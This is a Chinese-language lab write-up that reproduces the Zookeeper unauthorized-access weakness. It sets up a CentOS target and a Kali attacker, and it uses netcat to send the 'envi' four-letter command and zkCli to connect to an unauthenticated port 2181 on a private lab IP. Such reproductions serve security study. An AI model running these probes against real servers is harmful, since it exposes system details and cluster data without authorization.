Zookeeper 未授权访问漏洞复现

zookeeper,它是一个分布式服务框架,是Apache Hadoop 的一个子项目,它主要是用来解决分布式应用中经常遇到的一些数据管理问题,如:统一命名服务、状态同步服务、集群管理、分布式应用配置项的管理等。

简单来说zookeeper=文件系统+监听通知机制。

环境:

靶机:centos7.3

攻击者:kali2020

在靶机搭建环境步骤:

1
2
3
4
5
6
7
8
9
10
11
#下载安装包
wget http://archive.apache.org/dist/zookeeper/zookeeper-3.4.10/zookeeper-3.4.10.tar.gz
#解压
tar -xvf zookeeper-3.4.10.tar.gz
#拷贝配置文件
cd zookeeper-3.4.10/conf && cp zoo_sample.cfg zoo.cfg

#启动zookeeper
cd ../bin/ && ./zkServer.sh start
#尝试本地连接,显示[zk: localhost:2181(CONNECTED) 0] 则成功连接
./zkCli.sh -server localhost:2181

在攻击环境搭建步骤:

1
2
3
4
#下载安装包
wget http://archive.apache.org/dist/zookeeper/zookeeper-3.4.10/zookeeper-3.4.10.tar.gz
#解压
tar -xvf zookeeper-3.4.10.tar.gz

基础知识:

zookeeper 支持某些特定的四字命令与其交互,用户获取 zookeeper 服务的当前状态及相关信息,用户在客户端可以通过 telenet 或者 nc(netcat) 向 zookeeper 提交相应的命令。

1
2
#四字命令格式
echo [command] | nc [ip] [port]

image-20201207124113008

复现:

在kali的zookeeper目录下执行:

1
2
#执行envi命令获取系统敏感信息:系统名称、Java环境
echo envi|nc 192.168.116.132 2181

image-20201207123613986

1
cd bin/&&/zkCli.sh -server 192.168.116.132:2181

image-20201207135447619

参考链接:

https://blog.csdn.net/java_66666/article/details/81015302

https://www.cnblogs.com/glowing-z/p/12333334.html

https://www.runoob.com/w3cnote/zookeeper-sc-4lw.html